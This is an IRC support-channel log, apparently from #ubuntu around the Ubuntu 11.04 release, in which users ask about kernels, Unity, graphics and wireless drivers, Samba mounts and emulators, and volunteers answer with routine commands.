[03:51] <noobiest> wait i must reboot bcoz my ubuntu center freeze and nt gonna lock
[03:51] <chaospsyche> cheapie: done that
[03:51] <noobiest> i see u latter'
[03:52] <chaospsyche> cheapie: how can I use the kernel from 10.10 that is installed by default
[03:52] <hiexpo> vike, maybe try thunderbird
[03:52] <cheapie> chaospsyche: I'm sorry, but I don't know how to help you now.
[03:52] <chaospsyche> :-(
[03:52] <IdleOne> noobiest: I recommend you avoid doing partial upgrades, they usually don't turn out well. hold off on the upgrade for a few hours
[03:52] <vike> ok, thks
[03:52] <cheapie> chaospsyche: There are more of us...
[03:52] <chaospsyche> you see what I am talking about in the screen capture i showed you though?
[03:53] <fr00g> Grub currently shows Windows Recovery Environment (on /dev/sda2 and /dev/sda3) how do I get rid of these entries?
[03:53] <cheapie> chaospsyche: Yes.
[03:53] <chaospsyche> cheapie: what would you say that is?
[03:53] <izinucs> Ok.. Where's skype hiding in the repos?  I've enabled partners and the others with no results
[03:53] <kjxl9> hey guys, i plugged in a controller, how do i configure it?
[03:53] <chaospsyche> can someone help me install an older kernel into 11.04 ?
[03:53] <cheapie> chaospsyche: Looks like a driver issue to me. If you have a 10.10 LiveCD, you can try that to see if it's hardware or software/
[03:54] <chaospsyche> cheapie: i don't have this issue with 10.10 but on 10.10 my wireless usb adapter doesnt work. thats why i want to use 11.04
[03:54] <cheapie> chaospsyche: You can add the maverick repos and install a kernel from there. Might not work out well though.
[03:54] <hiexpo> chaospsyche, what kernal you currently useing ?
[03:54] <junco> greetings! Is it possible to disable the new Unity sidebar but KEEP the new global menu in ubuntu 11? (Using Ubuntu Classic disables both...)
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[03:54] <chaospsyche> hiexpo: command to find out?
[03:55] <IdleOne> !skype > izinucs
[03:55] <ubottu> izinucs, please see my private message
[03:55] <MarconM> afffs ... this again
[03:55] <Karen_m> it seems you do not have the hardware to run unity?  what the ?
[03:55] <izinucs> IdleOne: thanks
[03:55] <IdleOne> izinucs: there are plugins for skype in the repos but not skype itself
[03:56] <hiexpo> chaospsyche, dpkg -L | grep linux-image
[03:56] <IdleOne> izinucs: rather plugins for pidgin to work with skype...
[03:56] <chaospsyche> hiexpo: dpkg -L | grep linux-image
[03:57] <chaospsyche> oops
[03:57] <Karen_m> what do you need for a video card to run unity on ubuntu?
[03:57] <hiexpo> chaospsyche, yes
[03:57] <chaospsyche> hiexpo: dpkg-query: error: --listfiles needs at least one package name argument
[03:57] <yuskhanzab> where to get audacious equalizer preset?
[03:57] <trism> chaospsyche: dpkg -l 'linux-image*';
[03:57] <Rehan> is there a way i can transfer my currently installed ubuntu partition to my USB flash drive and just have it boot from there?
[03:57] <izinucs> IdleOne: hummm.. the command is the one I tried a few minutes ago and now it works.. sudo apt-get install skype.. seems to be working.. with that installed you mean I can also install the plugins for pidgeon etc right?
[03:58] <kjxl9> hey guys, i plugged in a controller, how do i configure it?
[03:58] <Karen_m> Ive got a : Nvidia geforce 9500, and it won't run unity.. what gives?
[03:58] <Karen_m> geforce 9500 gt
[03:58] <cheapie> kjxl9: What kind of controller?
[03:58] <izinucs> Karen_m: on the live cd?
[03:58] <chaospsyche> hiexpo: http://pastie.org/1859049  <---output of command
[03:58] <kjxl9> a gaming controller
[03:58] <Karen_m> No, i installed it
[03:58] <IdleOne> izinucs: apt-cache search skype   that will show you the packages I was talking about.
[03:58] <Karen_m> izinucs, upgrade from 10.10
[03:58] <cheapie> kjxl9: What kind of gaming controller?
[03:59] <izinucs> Karen_m: have you don't all your upgrades yet?
[03:59] <Nightshades> Anyone know anything about the tuxdroid?
[03:59] <kjxl9> like the brand?
[03:59] <cheapie> kjxl9: And model, if available.
[03:59] <chaospsyche> hiexpo: do you know how to compile a kernel with an added functionality and install it?
[03:59] <Karen_m> izinucs, yes, nothing else is listing .. i checked
[03:59] <kjxl9> a usb recoil controller is all i know about it
[03:59] <killer_> What is Metacity?  I received a popup error regarding it
[03:59] <kjxl9> gimme a minute and i can have details
[03:59] <cheapie> killer_: Metacity is a window manager.
[04:00] <chaospsyche> hiexpo: because i want to go back to 10.10 but in 10.10 my wireless usb adapter doesn't work so i want to add that func to the kernel ?
[04:00] <izinucs> Karen_m: strage.. works fine for me on an 8200.. on 10.10 did you install the driver dirct from nvidia or from the repos?
[04:01] <kjxl9> ok its a GGE909 PC recoil pad
[04:01] <hiexpo> chaospsyche, oh i see what your doing now you can't revert to an older version though  but ifi were you i would do afresh of 10.04
[04:02] <chaospsyche> hiexpo: will my wireless usb adapter work in 10.04 ?
[04:02] <chaospsyche> what is the diff between .04 and .10 ?
[04:02] <cheapie> kjxl9: It appears that that device is not supported.
[04:02] <kjxl9> oh
[04:02] <kjxl9> poop
[04:02] <hiexpo> chaospsyche, what cardis it ?
[04:02] <Karen_m> izinucs, it seems they disabled my nvidia driver on the upgrade, i'm re-enabling and rebooting
[04:03] <cheapie> kjxl9: You can try "sudo modprobe joydev" but that's unlikely to do anything.
[04:03] <chaospsyche> hiexpo: it's a wireless usb adapter and its a 'belkin basic wireless usb adapter '
[04:04] <chaospsyche> hiexpo: it works on 11.04 but not 10.10. haven't tried 10.04
[04:04] <kjxl9> yeah, nothing happened
[04:04] <chaospsyche> but why would it work on 10.04 if it doesn't work on 10.10. isn't that an older version ?
[04:04] <hiexpo> chaospsyche, what model and chipset ?
[04:04] <twiggy_> hey can someone tell me how to change the color of the text in the unity top panel in 11.04
[04:04] <killer_> I'm trying to apply special effects to my windows/GUI via Compiz.  On my laptop, I have done this by accessing it in the start menu but on my desktop (system i'm sitting at now) I cannot find Compiz in the start menu.  I have checked to verify it is installed by looking for the package in Synaptic.  Suggestions?
[04:05] <kjxl9> how do i enable my wireless?
[04:05] <chaospsyche> hiexpo: how do i find out?
[04:05] <cheapie> kjxl9: Good. Now try "joy2key  -dev /dev/input/js0"
[04:05] <JoshDreamland> How do I get APNG support?
[04:05] <twiggy_> @killer_: you need to install compizconfig-system-manager
[04:05] <JoshDreamland> there doesn't seem to be a libapng package.
[04:06] <kjxl9> umm i would have to install it first
[04:06] <chaospsyche> what's the command to find out?
[04:06] <cheapie> kjxl9: OK, yeah...try running "sudo apt-get install joy2key" first.
[04:07] <kjxl9> gimme a minute to copy this down
[04:07] <chaospsyche> how do i find out what chipset is in my wireless usb adapter
[04:08] <killer_> twiggy: Ty.  worked like a charm
[04:08] <ngc604> has anyone here ran ubuntu desktop on a rack mount server?
[04:08] <hesterprynne> how do i change the color of the text in the top bar of unity in 11.04?
[04:08] <kjxl9> it says "Error opening /dev/input/js0! are you sure you have joystick support in your kernal?
[04:08] <hiexpo> chaospsyche, lsusb
[04:09] <cheapie> kjxl9: Yeah...I don't think it'll work.
[04:09] <cheapie> ngc604: I haven't, but it should be the same as a regular desktop.
[04:09] <chaospsyche> hiexpo: Bus 001 Device 004: ID 050d:945a Belkin Components
[04:09] <kjxl9> how do i enable my wireless network?
[04:09] <cheapie> kjxl9: Have you tried the network manager yet?
[04:09] <kjxl9> nope
[04:09] <kjxl9> i should do that now
[04:10] <chaospsyche> kjxl9: your wi-fi card probably isn't support
[04:10] <cheapie> kjxl9: Good point...
[04:10] <chaospsyche> *supported
[04:10] <ngc604> cheapie, would you think there would be any issues?  i would assume it would be straight foward.  just not sure
[04:10] <kjxl9> ya my laptop IS pretty dam old
[04:10] <chaospsyche> hiexpo: will that work in 10.04
[04:10] <hiexpo> chaospsyche, open google and type your computer name   > model number and get it's info of what card it is
[04:11] <chaospsyche> it's more likely to work the older it is versus if it was new
[04:11] <cheapie> ngc604: I don't think there would be any issues. In fact, ZaReason sells that configuration.
[04:11] <chaospsyche> hiexpo: i just bought this,my comp didn't have wi-fi out of the box
[04:11] <ngc604> ZaReason is a person on here?
[04:12] <cheapie> ngc604: It's a company. They sell computers with Ubuntu preinstalled.
[04:12] <hiexpo> chaospsyche, ok what model the wifi card and version in google and get chipset
[04:12] <chaospsyche> hiexpo: ok one sec
[04:13] <ngc604> cheapie, ok.  i will check them out.  i recently had my laptop stolen and i dont have the money to replace it.  but i have found some cheap 3ghz xeon servers that i think will work for me
[04:14] <ludican> It would be nice if the few companies that sold Ubuntu computers used AMD chips.
[04:14] <cheapie> ngc604: Well, ZaReason happens to sell 3 GHz Intel Xeon servers with Ubuntu Desktop Edition preinstalled, so you should be fine with yours.
[04:15] <smrz> how do i install nvidia drivers for my system while using a live cd?
[04:15] <cheapie> ludican: ZaReason (zareason.com) sells computers with AMD CPUs and Ubuntu.
[04:15] <ngc604> cheapie, do you think a dual 3ghz xeon 4gb ram would be comparible to a core duo 2.5ghz 4gb ram?
[04:15] <hiexpo> smrz, you can't
[04:16] <cheapie> ngc604: It depends on the usage. How do you want to use them?
[04:16] <karan> http://www.youtube.com/watch?v=_1KvxI_7-oA&feature=channel_video_title
[04:16] <smrz> hiexpo there's absolutely no way? i uninstalled the nvidia drivers from my system, and on reboot now the screen is all garbeled
[04:16] <ngc604> basic everyday use.  and music recording
[04:16] <karan> please check that out
[04:16] <ianm_> is it still possible to get a synaptic touchpad's SHMConfig accessible to apps?
[04:16] <ngc604> music recording is done through a usb box not onboard sound
[04:16] <cheapie> ngc604: You shouldn't be able to notice a difference at all then.
[04:17] <karan> http://www.youtube.com/watch?v=_1KvxI_7-oA&feature=channel_video_title
[04:17] <ludican> Well, I wanted a laptop
[04:17] <cheapie> ludican: Well, you could buy one with Windows and then install Ubuntu on it.
[04:18] <Laggg> need help compiling a kernel
[04:18] <Laggg> http://pastebin.com/fWqNDXb0
[04:18] <cheapie> ludican: I have found the Compaq CQ61-411WM to work well with Ubuntu.
[04:19] <ngc604> ludican, amazon had a lenovo 15.6 core duo 2.2ghz 4gb ram 250gb hdd for $300 recert.  thats a pretty good deal imo
[04:20] <noobiest> cheapie:take a look debconf freeze again after partial upgrade http://postimage.org/image/175z2g810/
[04:20] <ngc604> pacificgeek.com also has a 12.1 core duo 1.86ghz 512k ram 80gb hd off lease for $170.  thought about getting that myself.
[04:21] <cheapie> noobiest: I don't know what to tell you then. Can you try running it in a terminal and see what happens?
[04:21] <cheapie> smrz: If you're still here, I just wanted to say that you might be able to chroot into your installation and install the driver that way.
[04:22] <soziety> Are we all subnormal or only the most of us?     http://aurl.es/b1x
[04:23] <hcook> weird
[04:23] <noobiest> cheapie:what shall i run in terminal?or this bug bcoz i install ubuntu with ubiquity and gave me some error
[04:23] <cheapie> Laggg: Have you tried --initrd or just initrd instead of -initrd?
[04:23] <cheapie> noobiest: I'll go check. Please wait.
[04:23] <Laggg> cheapie: that was the prob
[04:23] <Laggg> fixed ;) thx! +rep
[04:24] <cheapie> noobiest: Try "sudo apt-get install pychess" (or just any other package that isn't installed)
[04:25] <parapara> I have an emacs question, and this is maybe not the right place for it, so let me know: when I try to start gnus with M-x gnus, emacs hangs with no error messages
[04:25] <jismlicious> Hello.  I just upgraded to Natty, and I'm still having the sound issue with pulseaudio and sound from my Hauppauge WinTV PCI card.  Where's the best place to ask for help with that?
[04:25] <cheapie> parapara: I think the emacs community might be a better place to ask.
[04:25] <TrentonAdams> any chance ubuntu will ditch unity?
[04:26] <cheapie> jismlicious: What's the problem?
[04:26] <jismlicious> No sound when I'm watching tv
[04:26] <cheapie> TrentonAdams: Low. Very low.
[04:26] <taglass> TrentonAdams: There's always a chance, but I wouldn't hold my breath
[04:26] <TrentonAdams> taglass: yeah, too bad, cause that likely means gnome won't be supported anymore.  And, hence a need to switch distros.  I'm betting ubuntu will lose a LOT of users now.
[04:26] <jismlicious> Currently unity is working flawlessly for me, though it's definitely a bit of a change
[04:27] <cheapie> jismlicious: Hmm... try running the app with padsp.
[04:27] <taglass> TrentonAdams: GnomeShell will be an option in 11.10
[04:27] <perlsyntax> How do i install the broandcom driver on ubuntu
[04:27] <cheapie> perlsyntax: What model card/chipset are you trying to install?
[04:27] <TrentonAdams> jismlicious: Yeah, it "works", but it's not a "bit" of a change, it's mental.  Ubuntu has managed to show apple how dumb-down they can have an interface.  That's just an amzing feat. :P
[04:28] <parapara> I actually really like unityu
[04:28] <TrentonAdams> parapara: Can you describe why?  Kinda curious, I just couldn't see anything good in it.
[04:28] <perlsyntax> i not sure i don't have linux install on it yet.
[04:28] <TrentonAdams> parapara: except the searching of course.
[04:28] <smrz> anyone else getting on natty install no panels?
[04:28] <cheapie> perlsyntax: Try installing then, it might just work right away.
[04:28] <smrz> i'm just getting my desktop, nothing else, and i can't bring up the dash or anything
[04:28] <perlsyntax> would ubuntu pick them up with hardware driver?
[04:29] <parapara> TrentonAdams: just because I was curious and have never seen it before
[04:29] <TrentonAdams> Anyhow, on a side topic.  I'm sure I used to be able to paste a path into nautilus, when using ubuntu 10, but I can't figure out how to enable that option now.
[04:29] <perlsyntax> ok i try that on tuesday.
[04:29] <cheapie> smrz: Have you tried the Ubuntu Classic option?
[04:29] <smrz> cheapie: no, how do I do that?
[04:29] <cheapie> perlsyntax: It should. No guarantees though.
[04:29] <taglass> TrentonAdams: CTRL-L
[04:29] <perlsyntax> brondcom drivers on windows sucks
[04:29] <cheapie> smrz: Select it in the drop-down box when logging in.
[04:30] <smrz> cheapie: trying it now
[04:30] <TrentonAdams> taglass: thanks, did that change?
[04:31] <taglass> TrentonAdams: No.  Was the same in 10.10
[04:31] <TrentonAdams> taglass: Also, is there a way of having it work by double clicking the location bar, like it used to work?
[04:31] <taglass> TrentonAdams: That I do not know.
[04:32] <TheYellowGTO> How do you run a program from terminal without it being locked to that terminal
[04:32] <cheapie> Wow. This is like regular tech support, but with me juggling 5 phones instead of one...It's fun though.
[04:32] <TrentonAdams> taglass: I think it was a habit that I developed, so I do think that used to be a feature, hmmm.
[04:32] <cheapie> TheYellowGTO: I don't think that's possible.
[04:32] <TrentonAdams> taglass: thanks for the ctrl-l thing though.
[04:33] <taglass> TheYellowGTO: screen
[04:33] <slyrus> how can I make my upstart script wait for my nfs volumes to get mounted?
[04:33] <TheYellowGTO> Yes it is
[04:33] <TheYellowGTO> I've done it but I forget
[04:33] <taglass> TheYellowGTO: run the program under gnu screen
[04:34] <cheapie> slyrus: You can put in "sleep" followed by a number of seconds.
[04:34] <slyrus> cheapie: hmm... sounds like a hack, but OK.
[04:35] <TheYellowGTO> There is something with an & after it
[04:35] <TheYellowGTO> Someone in here told me, but now i'm on mylaptop
[04:35] <TheYellowGTO> And its at home in a text file
[04:35] <cheapie> slyrus: Yeah, it's sort of like "Hey, this thing broke" "Well, why fix it when we can tape it back together?"
[04:36] <taglass> slyrus: Have you looked through http://upstart.ubuntu.com/cookbook/ ?
[04:36] <slyrus> yeah, that seems to be the only decent documentation on this thing I can find
[04:36] <Zolty1> Hello #ubuntu, wondering where a good place to go for support on the bundled remote desktop application in 10.10
[04:37] <cheapie> I had better leave now. I have a life too, you know...
[04:37] <slyrus> I'm troubled that 1) my script is firing when I have a start on (filesystem and started avahi) line and 2) it doesn't respawn until the nfs mounts succeed
[04:37] <slyrus> ok, thanks Cheapie
[04:40] <CreativeReach> Hi
[04:40] <CreativeReach> hi
[04:40] <Zolty1> Hi
[04:40] <CreativeReach> so whats up
[04:41] <geekorama> anyone using ubuntu one here?
[04:41] <esx> jebus wept
[04:41] <CreativeReach> Yes 11.4
[04:41] <Loshki> slyrus: or move the logic into a script which you run in the background started from /etc/rc.local. There's no guarantee that an nfs mount will work. What if the nfs server's down?
[04:42] <cfedde> qwpoaslk
[04:42] <canthus13> bah. what's teh command to return a terminal to a usable state when you screw up and cat a binary file?
[04:42] <Loshki> canthus13: try 'reset'
[04:42] <canthus13> Loshki: thanks. :)
[04:43] <glacia> hello
[04:43] <glacia> can someone assist me in running an exe gba emulator
[04:44] <html_inprogress> yes?
[04:44] <conner_> I need help changing the resolution of my tty console.
[04:45] <conner> Does anyone know how to change the resolution of the console to fit a 1920x1080 screen?
[04:45] <html_inprogress> tty means what?  conner,
[04:46] <conner_> teletypetypewriter
[04:46] <conner_> what is this an iq test
[04:47] <madsailor> galacia, for running exe's on linux you'll need wine, and their support channel is #winehq
[04:47] <glacia> thank you
[04:47] <conner_> All i know is my console does not produce a desireable resolution and owuld like to fix it
[04:48] <conner_> Before nvidia drivers it would boot with nice crisp font and the tty's would be in the correct resolution
[04:48] <conner_> but after the nvidia drivers the tty consoles and boot is not in a proper resolution
[04:48] <noobiest> dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem.
[04:48] <nit-wit> conner, have you tried xrandr to see if you can get what you want and then edit the file
[04:48] <conner_> all im asking is if anyone knows how to fix it as I have been around my ass a billion times googling it
[04:49] <nit-wit> conner, are you chaffed
[04:49] <noobiest> after i run,its lokk like partial upgrade same thing diff way
[04:49] <nit-wit> ;)
[04:49] <slyrus> Loshki: fair enough... but why use rc.local instead of upstart?
[04:49] <conner_> im going to give xrandr a try
[04:49] <ayecee> hyperbole is endearing
[04:50] <slyrus> Loshki: don't the same problems exist there?
[04:50] <noobiest> my debconf still in trouble
[04:50] <html_inprogress> conner_, well i was going to help you ,untill you instulted me.. and i know whatt a tty is my my works with the deaf/ and sometimes i help her
[04:51] <Jordan_U> conner_: xrandr won't help, this isn't X.
[04:51] <Jordan_U> conner_: What version of Ubuntu are you using?
[04:51] <slyrus> in any event, I think I've fixed that problem and am on to forked-daapd quitting for some other reason :(
[04:51] <conner_> 11.04
[04:51] <Jordan_U> conner_: Then that's probably the highest resolution possible for the ttys while using the proprietary drivers.
[04:51] <noobiest> after installing new package i must run 'sudo dpkg --configure -a' or partial upgrade awfull bcoz debconf freeze
[04:52] <ifqi> how do we can install driver wireless
[04:52] <conner_> so it is unchangeable thats not right
[04:52] <jismlicious> Connor:  I missed it, is the size of text too small, too big, too ..?
[04:52] <ifqi> hello franklv
[04:52] <html_inprogress> connner_,  i was just checking to see if you meant something else,,,,
[04:52] <conner_> too big, as in the dpi is off. This would be because of resolution
[04:53] <ifqi> hello Azelphur
[04:53] <Jordan_U> conner_: When using proprietary drivers there is no kernel mode setting support which means among other things that native drivers can't be used for console ttys. VESA instead must be used and since 11.04 tries to use the highest VESA resultion possible by default what you have is probably the best you can get.
[04:53] <ifqi> hello jordan_U
[04:53] <judgex_> hi, i used parted magic live cd (pmagic-6.0.iso) and tried to grow my ext4 home partition, getting this error "Resize2fs doesn't currently support the combination of flex_bg and !resize_inode." what can i do to resize my ext4?
[04:53] <conner_> your right im rockin the 795 vesa. thanks jordan_U I hate propriatary drivers....
[04:53] <html_inprogress> hi
[04:53] <Jordan_U> ifqi: Hi.
[04:53] <hesterprynne> can someone tell my why my computer freezes whenever i try to change themes? i can click "customise" and change it that way but i cannot change it by clicking on the theme in the main part
[04:53] <ifqi> nice to know you
[04:54] <conner_> does anyone know how to configure vsync on the open source drivers
[04:54] <ifqi> this the first time i joint this forum
[04:55] <Jordan_U> conner_: If you're passing 'vga=795' as a kernel parameter, 1: That has been depricated and 2: You might be making the situation worse as a higher resolution may be available but you are overriding it.
[04:55] <mneorr> hi all, i've just applyed the new ubuntu 11.04 updates, and lost 2 usb ports on sony vaio f series..anyone had the same problem/
[04:55] <html_inprogress> wait for dr_willis
[04:55] <mneorr> ?
[04:55] <c2tarun> I am facing a strange problem with ubuntu, whenever I am entering the password on the login screen its instead of logging in its comming back again and again on password screen. why so?
[04:55] <mneorr> the usb3 port works, but 2 usb 2.0 on the other side doesn't anymore
[04:56] <slinger2519> hey guys could i make an irc server? i have a computer that i have acting as a server right now running 10.04
[04:56] <conner_> nah jordan, highest possible for vesa is 795 and that is what ubuntu is running as max for the propriatary. this is why everytime I try and change it it does not change because it is  already 795.
[04:56] <Toph> c2tarun,,, on 11.04?
[04:56] <c2tarun> Toph: nope on 10.04 lucid
[04:56] <Toph> c2tarun,,, ok
[04:57] <Jordan_U> conner_: OK. So to confirm, you are *not* passing any 'vga=' parameter to the kernel?
[04:57] <c2tarun> Toph: any solution?
[04:57] <html_inprogress> c2tarun,  that one again,huh... update, restart
[04:57] <ngc604> slinger2519, i believe you need the ircd package from synaptic package manager.  then there should be info online on how to set it up.  tho getting it on a major network takes some major internet speed
[04:57] <trinikrono> c2tarun: can you drop to terminal run startx
[04:58] <Toph> c2tarun,,, no,, i was having the same problem with 11.04, and still am, but I think it is Unity crashing
[04:58] <trinikrono> that should not use gdm
[04:59] <c2tarun> I just logged in :( but sometimes it never allows me to login. is there any permanent solution
[04:59] <mneorr> sorry for posting again... anyone lost usb 2.0 on laptop after newest update?
[04:59] <noobiest> debconf-communi what  procces?this process always freeze and make me doing  'sudo dpkg --configure -a' or partial upgrade many time can i remove it?
[04:59] <html_inprogress> im gald i didnt upgade to a "unity[ed ] mess lol
[05:00] <mneorr> unity is very good
[05:00] <ifqi> i'm using ubuntu maverick
[05:00] <KM0201> html_inprogress: definitely some growing pains
[05:00] <mneorr> but this was a kernel update
[05:00] <hesterprynne> can someone tell my why my computer freezes whenever i try to change themes? i can click "customise" and change it that way but i cannot change it by clicking on the theme in the main part. also the color of  the text in the top bar will not change from black, how do i change it?
[05:00] <noobiest> any idea/
[05:00] <mneorr> try logout/login
[05:01] <luite> I've added my user to a group, but my shell doesn't know about it for some reason. is it possible to get a shell with the correct permissions without completely logging out of gnome first?
[05:01] <ifqi> how do we know version
[05:02] <desg_xd> night everyone
[05:02] <html_inprogress> lol,,,  sometime i come for help, but i figure i help out,,, there was like 60 ppl asking about "unity" problems or related
[05:02] <Toph> !version | ifqi
[05:02] <ubottu> ifqi: To find out what version of Ubuntu you have, type « lsb_release -a » in a !shell - To know the available version of a package, « apt-cache policy <package> »
[05:02] <html_inprogress> night
[05:03] <html_inprogress> desg_xd,  night :) see you agian
[05:03] <Toph> html_inprogress,,, are you up on Unity?
[05:04] <html_inprogress> Toph,  huh read up or have it or both or other?
[05:04] <noobiest> anybody can tell me what kind debconf-communi  procces?this process always freeze/sleep but the  window appear after install new package both with ubuntu softwarecenter or apt-get  and make me doing  'sudo dpkg --configure -a' or partial upgrade many time can i remove it?
[05:04] <html_inprogress> i think so, t
[05:04] <Toph> html_inprogress,,, i can't log into the desktop that includes Unity, but I can into the Classic and then load Unity from Compiz,, what gives?
[05:05] <ifqi> thanks mr. ubottu
[05:05] <ifqi> nice to know you
[05:05] <cheapie> ifqi: Ubottu is a bot...
[05:06] <Souperman> !talk to me
[05:06] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[05:06] <ifqi> my version linux ubuntu 10.10 maverick
[05:07] <cheapie> Is there anybody here waiting for help?
[05:07] <ifqi> my linux not detect wireless
[05:07] <cheapie> ifqi: Have you checked network manager?
[05:07] <noobiest> cheapie:problem solved but i must run dpkg-configure --a after install new package and kill that proccess this awfull but Many thanks to your help
[05:07] <Toph> cheapie,,, i am
[05:08] <cheapie> toph: ...what?
[05:08] <ifqi> yes, but not identification wireless
[05:08] <Toph> cheapie,,,  i can't log into the desktop that includes Unity, but I can into the Classic and then load Unity from Compiz,, what gives?
[05:08] <MK``> Is it possible for me to have 2 separate installations of Ubuntu (eg. a 32-bit and a 64-bit) installed but share a list of users and use the same /home partition?
[05:09] <cheapie> ifqi: Try running "lspci | grep wireless"
[05:09] <cheapie> Toph: What happens when you try to log into the Unity desktop?
[05:09] <html_inprogress> compiz , im dont know about unity but i know compiz "gives you hell" lol  just cuz  and some times its random, so try to take in off , update  , restart, , log back in to unity and try in out
[05:09] <cheapie> MK``: Same /home: yes. Same users list: I don't think so.
[05:09] <Toph> cheapie,,, the screen blacks out for 5 seconds and returns to the login screen
[05:10] <Bonkers> maybe I'm missing something, but how do I reboot/logout with this new unity interface? and is there an easy way to disable unity?
[05:10] <Jordan_U> MK``: I'm not sure how manageable that would be but are you aware that you can run 32 bit applications, and a full 32 bit chroot if needed, on 64 bit Ubuntu?
[05:10] <Jordan_U> Bonkers: Click on the power icon at the top right.
[05:10] <cheapie> Toph: check jockey and see if there are any drivers available.
[05:10] <MK``> Yes Jordan_U. I was curious about the process. If I wanted to access the files of a different user in /home on the other installation, I'd have to manually provide the encryption key?
[05:10] <Jordan_U> Bonkers: That hasn't changed recently.
[05:10] <Jordan_U> !classic | Bonkers
[05:10] <ubottu> Bonkers: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[05:11] <Toph> cheapie,,, could you please explain what 'jockey' is
[05:11] <cheapie> Toph: It's the "Additional Drivers" thing.
[05:11] <Bonkers> Jordan_U, thanks, but I think something is broken here, that top right light switch icon doesn't do anything, double click, right click, left click, nothing, and before upgrading I had a system menu with all of this, which I suspect is classic
[05:11] <Souperman> >sudo jockey-gtk
[05:12] <cheapie> Toph: as Souperman said, "sudo jockey-gtk" will launch it.
[05:12] <glacia> #winehq is no help
[05:12] <Jordan_U> Bonkers: I'm pretty sure that logout hasn't been in the System menu since before Ubuntu 10.04.
[05:12] <cheapie> glacia: What is your problem?
[05:13] <Bonkers> kinda wishing I didn't upgrade, this thing is a huge mess, the new kernel doesn't work with my video card, and wireless doesn't seem to work on the old kernel now
[05:13] <glacia> trying to install and run a virtual gba emulator
[05:13] <Souperman> glacia, there are vga emulators native
[05:13] <Toph> cheapie,,, ok,, i'm been there,, the video driver ischeok, let me try
[05:13] <cheapie> glacia: Try this one: http://linux.softpedia.com/get/System/Emulators/Visualboy-Advance-3469.shtml
[05:13] <glacia> souperman, where?
[05:14] <nsur> hi all. i installed 10.10 and it took 10s from BIOS to login page, then i upgrade to 11.04 yesterday. now it takes 110s to get login screen. is 11.04 natty slower??
[05:14] <MK``> Jordan_U / cheapie please check my line :)
[05:14] <html_inprogress> Bonkers,  ? ctrl+alt delete?
[05:15] <glacia> cheapie, i downloaded that im still learning on how to install stuff on ubuntu.... what do i do next
[05:15] <nabi> how can I use smb:// in dest. for rsync command ?
[05:15] <Herbs> nabi mount it first
[05:15] <Jordan_U> MK``: I don't know how encrypted home directories would work with such a setup. What is your end goal?
[05:15] <Souperman> glacia, try gnuboy
[05:15] <nabi> Herbs: ok thanks :X
[05:15] <Herbs> then it will be rsync -switches /mounted/dir/
[05:16] <cheapie> glacia: You should just be able to go into Synaptic and install visualboyadvance-gtk
[05:16] <Souperman> that too
[05:16] <Toph> cheapie,,, it gives me..ATI/AMD propriator FGLRX video driver is already in use
[05:16] <Jordan_U> glacia: Forget what you have downloaded, open Ubuntu Software Center, and search for "game boy"
[05:17] <MK``> Jordan_U: essentially if it is possible to share a user list
[05:17] <Jordan_U> MK``: Sharing a user list is not an end goal :)
[05:17] <cheapie> Toph: Good. However, you can try disabling that, rebooting, and trying again.
[05:17] <Toph> cheapie,,, ok
[05:17] <nabi> Herbs: how can I find device name of smb://.... ?
[05:18] <cheapie> Toph: You could also try "Unity 2D" and see if that works.
[05:18] <Herbs> nabi it wont have a device name
[05:18] <MK``> Jordan_U: I know... just forget it :/
[05:18] <nabi> Herbs: so, how can I mount it?
[05:18] <Herbs> its iirc usually work with nfs not samba host:/share
[05:18] <nabi> mount /media/win/ smb://.... ?
[05:19] <nabi> mount smb://.... /media/win/ ?
[05:19] <Herbs> nabi source always comers before mount point
[05:20] <cheapie> nabi: It seems that the smb stuff is done by nautilus, so mount might not work. If it did, you would probably also need the 'bind' option.
[05:20] <Herbs> nabi easiest way to mount samba shares is using autofs then you can mount them by cd to the dir
[05:21] <Cporter> I installed Ubuntu 11.4 using Wubi and when I booted into it, it says there is no boot partion. I uninstalled and it happened again. Any idea what could causing it
[05:22] <Herbs> cporter not seeting a mount point maybe
[05:22] <Herbs> setting*
[05:22] <hiexpo> wubi is all bad
[05:23] <Cporter> it worke for my laptop but not my desktop
[05:23] <ChronicSyncope> Cporter, try installing 10.10 and then upgrading from within the OS?
[05:24] <Cporter> ok
[05:24] <nabi> Herbs: when I try mount .. get me, wrong fs type, bad option, bad superblock on sbm:.......
[05:24] <vexati0n> so... i like Natty more than I thought, but there's one thing that's driving me nuts: I have dual monitors, and on the second monitor the menu bar at the top runs off the edge of the screen.
[05:24] <vexati0n> any way to fix that?
[05:24] <renegaid> ubuntu seems to be getting slower and slower with every release
[05:24] <amskinner> ^
[05:24] <vexati0n> natty works better on my machine than maverick did
[05:24] <Souperman> welcome to bloat
[05:25] <Herbs> nabi I usually get around that by using autofs for samba
[05:25] <Herbs> nabi but make sure you have smbfs installed try dpkg -l | grep smbfs
[05:26] <crohakon> I need to create a bootable CD from a windows XP sp3 ISO in order to reinstall XP on a netbook. I can't seem to burn a bootable copy of the CD using the ISO from MSDN. I am trying to burn the CD via Ubuntu using the built in cd burning software. Any ideas on what I am doing wrong?
[05:26] <Ruge> Anyone have a recommendation for a desktop widget to monitor internet use?
[05:26] <nabi> Herbs: yes, here in output
[05:27] <dragon_slayer> cheese
[05:27] <Cporter> did any one here go to LinuxFest Northwest over the weekend?
[05:28] <twinkie-murderer> not that i know of
[05:28] <Herbs> nabi ok install automount apt-get install automount
[05:28] <glacia> Jordan_U you still there
[05:28] <Souperman> ruge gdesklets
[05:28] <byerley> hi can someone tell me if /dev/shm is concurrent read/write safe or where to look that up?
[05:28] <crohakon> I need to create a bootable CD from a windows XP sp3 ISO in order to reinstall XP on a netbook. I can't seem to burn a bootable copy of the CD using the ISO from MSDN. I am trying to burn the CD via Ubuntu using the built in cd burning software. Any ideas on what I am doing wrong? Please note that this is a legal copy as the owner of the netbook has a valid key. The owner is blind, and I am trying to help her out. Anyone?
[05:28] <Herbs> byerley /dev/shm is rw by default
[05:28] <Ruge> thanks Souperman, just installed ubuntu so giving it all a go :)
[05:29] <glacia> nvm
[05:29] <Cporter> get the owner a program called jaws for the netbook
[05:29] <Cporter> brb
[05:29] <killer_> what is the default instant messaging program in ubuntu 10.04LTS?
[05:29] <sugenge> hi
[05:29] <sugenge> good morning
[05:30] <byerley> Herbs: but can I write to it from different processes without the memory being corrupted?
[05:30] <sugenge> disini
[05:30] <sugenge> aku disini
